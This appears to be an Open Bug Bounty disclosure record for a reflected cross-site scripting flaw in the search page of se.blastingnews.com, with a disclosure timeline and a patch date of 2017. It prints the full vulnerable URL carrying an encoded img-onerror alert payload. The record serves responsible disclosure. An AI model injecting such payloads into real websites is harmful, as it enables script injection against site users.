Lucene search

K
openbugbountyOzergokerOBB:140948
HistoryMar 11, 2016 - 7:43 p.m.

se.blastingnews.com XSS vulnerability

2016-03-1119:43:00
ozergoker
www.openbugbounty.org
9
Vulnerable URL:
http://se.blastingnews.com/search?q=%22%3E%3Cimg%20src=x%20onerror=alert%28%22XSSPOSED%22%29%3E
Details:
Description Value
Patched: Yes, at 19.07.2017
Latest check for patch: 19.07.2017 10:50 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
Google Pagerank 0
VIP website status: No
Check se.blastingnews.com SSL connection: (Grade: A)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 11 March, 2016 19:43 GMT
Generic security notifications sent to website owner 11 March, 2016 19:45 GMT
Notification sent to subscribers (without technical details) 11 March, 2016 22:17 GMT
Vulnerability details disclosed by researcher 3 June, 2016 20:11 GMT
Vulnerability patched by the website owner 20 July, 2017 03:05 GMT